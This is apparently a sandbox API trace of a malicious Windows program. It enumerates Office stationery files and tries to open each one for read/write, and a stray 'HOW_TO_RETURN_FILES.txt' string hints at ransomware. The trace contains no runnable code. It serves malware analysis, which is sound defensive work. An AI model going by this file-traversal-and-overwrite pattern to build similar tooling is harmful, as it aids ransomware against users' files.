[0114.387] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.387] AreFileApisANSI () returned 1 [0114.387] GetACP () returned 0x4e4 [0114.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Graph.emf", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Graph.emfmf", lpUsedDefaultChar=0x37df4c) returned 9 [0114.387] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.388] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.388] AreFileApisANSI () returned 1 [0114.388] GetACP () returned 0x4e4 [0114.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Green Bubbles.htm", cchWideChar=17, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Green Bubbles.htm", lpUsedDefaultChar=0x37df4c) returned 17 [0114.388] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.389] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.389] AreFileApisANSI () returned 1 [0114.389] GetACP () returned 0x4e4 [0114.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GreenBubbles.jpg", cchWideChar=16, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GreenBubbles.jpgm", lpUsedDefaultChar=0x37df4c) returned 16 [0114.389] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.389] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.389] AreFileApisANSI () returned 1 [0114.389] GetACP () returned 0x4e4 [0114.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="grid_(cm).wmf", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="grid_(cm).wmfjpg", lpUsedDefaultChar=0x37df4c) returned 13 [0114.389] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.390] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.390] AreFileApisANSI () returned 1 [0114.390] GetACP () returned 0x4e4 [0114.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="grid_(inch).wmf", cchWideChar=15, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="grid_(inch).wmfg", lpUsedDefaultChar=0x37df4c) returned 15 [0114.390] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.390] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.390] AreFileApisANSI () returned 1 [0114.390] GetACP () returned 0x4e4 [0114.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hand Prints.htm", cchWideChar=15, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Hand Prints.htm", lpUsedDefaultChar=0x37df4c) returned 15 [0114.390] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.391] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.391] AreFileApisANSI () returned 1 [0114.391] GetACP () returned 0x4e4 [0114.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HandPrints.jpg", cchWideChar=14, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HandPrints.jpgm", lpUsedDefaultChar=0x37df4c) returned 14 [0114.391] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.392] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.392] AreFileApisANSI () returned 1 [0114.392] GetACP () returned 0x4e4 [0114.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Memo.emf", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Memo.emfts.jpg", lpUsedDefaultChar=0x37df4c) returned 8 [0114.392] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.392] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.392] AreFileApisANSI () returned 1 [0114.392] GetACP () returned 0x4e4 [0114.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Monet.jpg", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Monet.jpgs.jpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.392] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.393] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.393] AreFileApisANSI () returned 1 [0114.393] GetACP () returned 0x4e4 [0114.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Month_Calendar.emf", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Month_Calendar.emft Shared\\Source Engine\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 18 [0114.393] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.393] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.393] AreFileApisANSI () returned 1 [0114.393] GetACP () returned 0x4e4 [0114.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Music.emf", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Music.emfendar.emf", lpUsedDefaultChar=0x37df4c) returned 9 [0114.393] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.394] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.394] AreFileApisANSI () returned 1 [0114.394] GetACP () returned 0x4e4 [0114.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notebook.jpg", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Notebook.jpgar.emf", lpUsedDefaultChar=0x37df4c) returned 12 [0114.394] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.394] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.394] AreFileApisANSI () returned 1 [0114.394] GetACP () returned 0x4e4 [0114.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Orange Circles.htm", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Orange Circles.htm", lpUsedDefaultChar=0x37df4c) returned 18 [0114.395] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.395] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.395] AreFileApisANSI () returned 1 [0114.395] GetACP () returned 0x4e4 [0114.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OrangeCircles.jpg", cchWideChar=17, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OrangeCircles.jpgm", lpUsedDefaultChar=0x37df4c) returned 17 [0114.395] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.395] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.395] AreFileApisANSI () returned 1 [0114.395] GetACP () returned 0x4e4 [0114.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Peacock.htm", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Peacock.htmes.jpg", lpUsedDefaultChar=0x37df4c) returned 11 [0114.395] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.396] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.396] AreFileApisANSI () returned 1 [0114.396] GetACP () returned 0x4e4 [0114.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Peacock.jpg", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Peacock.jpg", lpUsedDefaultChar=0x37df4c) returned 11 [0114.396] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.397] AreFileApisANSI () returned 1 [0114.397] GetACP () returned 0x4e4 [0114.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pine_Lumber.jpg", cchWideChar=15, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Pine_Lumber.jpgpg", lpUsedDefaultChar=0x37df4c) returned 15 [0114.397] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.397] AreFileApisANSI () returned 1 [0114.397] GetACP () returned 0x4e4 [0114.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pretty_Peacock.jpg", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Pretty_Peacock.jpg", lpUsedDefaultChar=0x37df4c) returned 18 [0114.398] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.401] AreFileApisANSI () returned 1 [0114.401] GetACP () returned 0x4e4 [0114.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Psychedelic.jpg", cchWideChar=15, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Psychedelic.jpgjpg", lpUsedDefaultChar=0x37df4c) returned 15 [0114.401] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.402] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.402] AreFileApisANSI () returned 1 [0114.402] GetACP () returned 0x4e4 [0114.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Roses.htm", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Roses.htmic.jpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.402] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.403] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.403] AreFileApisANSI () returned 1 [0114.403] GetACP () returned 0x4e4 [0114.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Roses.jpg", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Roses.jpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.403] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.404] AreFileApisANSI () returned 1 [0114.404] GetACP () returned 0x4e4 [0114.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sand_Paper.jpg", cchWideChar=14, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Sand_Paper.jpgg", lpUsedDefaultChar=0x37df4c) returned 14 [0114.404] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.404] AreFileApisANSI () returned 1 [0114.404] GetACP () returned 0x4e4 [0114.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Seyes.emf", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Seyes.emfr.jpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.404] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.404] AreFileApisANSI () returned 1 [0114.404] GetACP () returned 0x4e4 [0114.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shades of Blue.htm", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Shades of Blue.htm", lpUsedDefaultChar=0x37df4c) returned 18 [0114.404] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.405] AreFileApisANSI () returned 1 [0114.405] GetACP () returned 0x4e4 [0114.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ShadesOfBlue.jpg", cchWideChar=16, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ShadesOfBlue.jpgtm", lpUsedDefaultChar=0x37df4c) returned 16 [0114.405] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.405] AreFileApisANSI () returned 1 [0114.405] GetACP () returned 0x4e4 [0114.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shorthand.emf", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Shorthand.emfjpg", lpUsedDefaultChar=0x37df4c) returned 13 [0114.406] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.406] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.406] AreFileApisANSI () returned 1 [0114.406] GetACP () returned 0x4e4 [0114.406] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Small_News.jpg", cchWideChar=14, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Small_News.jpgpg", lpUsedDefaultChar=0x37df4c) returned 14 [0114.406] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.407] AreFileApisANSI () returned 1 [0114.407] GetACP () returned 0x4e4 [0114.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Soft Blue.htm", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Soft Blue.htmg", lpUsedDefaultChar=0x37df4c) returned 13 [0114.407] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.407] AreFileApisANSI () returned 1 [0114.407] GetACP () returned 0x4e4 [0114.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue.jpg", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SoftBlue.jpgm", lpUsedDefaultChar=0x37df4c) returned 12 [0114.407] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.408] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.408] AreFileApisANSI () returned 1 [0114.408] GetACP () returned 0x4e4 [0114.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Stars.htm", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Stars.htmjpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.408] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.408] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.408] AreFileApisANSI () returned 1 [0114.408] GetACP () returned 0x4e4 [0114.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Stars.jpg", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Stars.jpg", lpUsedDefaultChar=0x37df4c) returned 9 [0114.408] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0114.409] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0114.409] AreFileApisANSI () returned 1 [0114.409] 